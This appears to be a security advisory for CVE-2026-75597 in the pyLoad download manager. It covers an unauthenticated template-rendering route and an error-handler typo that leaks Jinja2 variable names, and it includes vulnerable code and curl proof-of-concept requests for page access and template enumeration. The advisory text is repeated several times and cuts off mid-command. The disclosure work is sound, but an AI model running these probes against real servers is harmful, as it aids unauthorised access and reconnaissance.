CVE-2026-75597

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, the /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation. Version 0.5.0b3.dev101 contains a patch.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, the /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation. Version 0.5.0b3.dev101 contains a patch.

Summary

The /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

Details

Bug 1 — Missing authentication on /web/<path:filename>

File: src/pyload/webui/app/blueprints/app_blueprint.py, lines 32–36

@bp.route("/web/<path:filename>", endpoint="web")
def render(filename):                          # ← no @login_required
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

Every other sensitive route in the same file is protected:

@bp.route("/logs", ...)
@login_required("LIST")       # protected

@bp.route("/settings", ...)
@login_required("SETTINGS")  # protected

@bp.route("/files", ...)
@login_required("DOWNLOAD")  # protected

The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

Bug 2 — Exception attribute typo causes internal details in error responses

File: src/pyload/webui/app/handlers.py, lines 12–20

def handle_exception_error(exc):
    try:
        code = exc.code
        desc = exc.desc          # BUG: attribute does not exist on standard exceptions
    except AttributeError:       # always raised — falls here for every exception
        code = 500
        desc = exc               # raw exception object assigned to desc
    message = f"Error {code}: {desc}"   # str(exc) embedded in response body
    return render_template("error.html", messages=[message]), code

exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.

PoC

Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.

Test 1 — Unauthenticated page render confirmed (HTTP 200)

curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

Test 2 — System info page with sensitive field labels rendered unauthenticated

html

<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n"…

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, the /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation. Version 0.5.0b3.dev101 contains a patch.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, the /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation. Version 0.5.0b3.dev101 contains a patch.

Summary

The /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

Details

Bug 1 — Missing authentication on /web/<path:filename>

File: src/pyload/webui/app/blueprints/app_blueprint.py, lines 32–36

@bp.route("/web/<path:filename>", endpoint="web")
def render(filename):                          # ← no @login_required
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

Every other sensitive route in the same file is protected:

@bp.route("/logs", ...)
@login_required("LIST")       # protected

@bp.route("/settings", ...)
@login_required("SETTINGS")  # protected

@bp.route("/files", ...)
@login_required("DOWNLOAD")  # protected

The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

Bug 2 — Exception attribute typo causes internal details in error responses

File: src/pyload/webui/app/handlers.py, lines 12–20

def handle_exception_error(exc):
    try:
        code = exc.code
        desc = exc.desc          # BUG: attribute does not exist on standard exceptions
    except AttributeError:       # always raised — falls here for every exception
        code = 500
        desc = exc               # raw exception object assigned to desc
    message = f"Error {code}: {desc}"   # str(exc) embedded in response body
    return render_template("error.html", messages=[message]), code

exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.

PoC

Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.

Test 1 — Unauthenticated page render confirmed (HTTP 200)

curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

Test 2 — System info page with sensitive field labels rendered unauthenticated

html

<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n"…

Summary

The /web/<path:filename> route in src/pyload/webui/app/blueprints/app_blueprint.py renders Jinja2 templates without any authentication requirement. Every equivalent direct route (/logs, /settings, /queue, /dashboard, etc.) is protected by @login_required, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in src/pyload/webui/app/handlers.py (exc.desc instead of exc.description), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.

Details

Bug 1 — Missing authentication on /web/<path:filename>

File: src/pyload/webui/app/blueprints/app_blueprint.py, lines 32–36

@bp.route("/web/<path:filename>", endpoint="web")
def render(filename):                          # ← no @login_required
    mimetype = mimetypes.guess_type(filename)[0] or "text/html"
    data = render_template(filename)
    return flask.Response(data, mimetype=mimetype)

Every other sensitive route in the same file is protected:

@bp.route("/logs", ...)
@login_required("LIST")       # protected

@bp.route("/settings", ...)
@login_required("SETTINGS")  # protected

@bp.route("/files", ...)
@login_required("DOWNLOAD")  # protected

The /web/<path:filename> route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.

Bug 2 — Exception attribute typo causes internal details in error responses

File: src/pyload/webui/app/handlers.py, lines 12–20

def handle_exception_error(exc):
    try:
        code = exc.code
        desc = exc.desc          # BUG: attribute does not exist on standard exceptions
    except AttributeError:       # always raised — falls here for every exception
        code = 500
        desc = exc               # raw exception object assigned to desc
    message = f"Error {code}: {desc}"   # str(exc) embedded in response body
    return render_template("error.html", messages=[message]), code

exc.desc does not exist on standard Python or Jinja2 exceptions. The AttributeError branch is always taken for template rendering failures. desc is set to the raw exception object, and str(exc) is embedded in the HTML response body returned to the unauthenticated caller. For a UndefinedError this produces 'conf' is undefined. For TemplateNotFound it produces the template filename.

PoC

Tested against pyload-ng develop branch (0.5.0b3.dev), default install, no authentication cookies or credentials used in any request.

Test 1 — Unauthenticated page render confirmed (HTTP 200)

curl -si http://TARGET:8000/web/logs.html | grep "HTTP\|title"

Test 2 — System info page with sensitive field labels rendered unauthenticated

html

<dt><b>Python Version:</b></dt>
<dt><b>OS Platform:</b></dt>
<dt><b>Installation Folder:</b></dt>
<dt><b>Config Folder:</b></dt>```

Test 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)
```curl -si http://TARGET:8000/web/settings.html | grep "HTTP\|Error"
HTTP/1.1 500 INTERNAL SERVER ERROR
<p><b>Error 500: 'conf' is undefined</b></p>```
Test 4 — Template enumeration via response code differentiation
```curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/logs.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/info.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/dashboard.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/settings.html
curl -o /dev/null -sw "%{http_code}\n" http://TARGET:8000/web/queue.html
curl -o /dev/null -sw "%{http_code}\n"…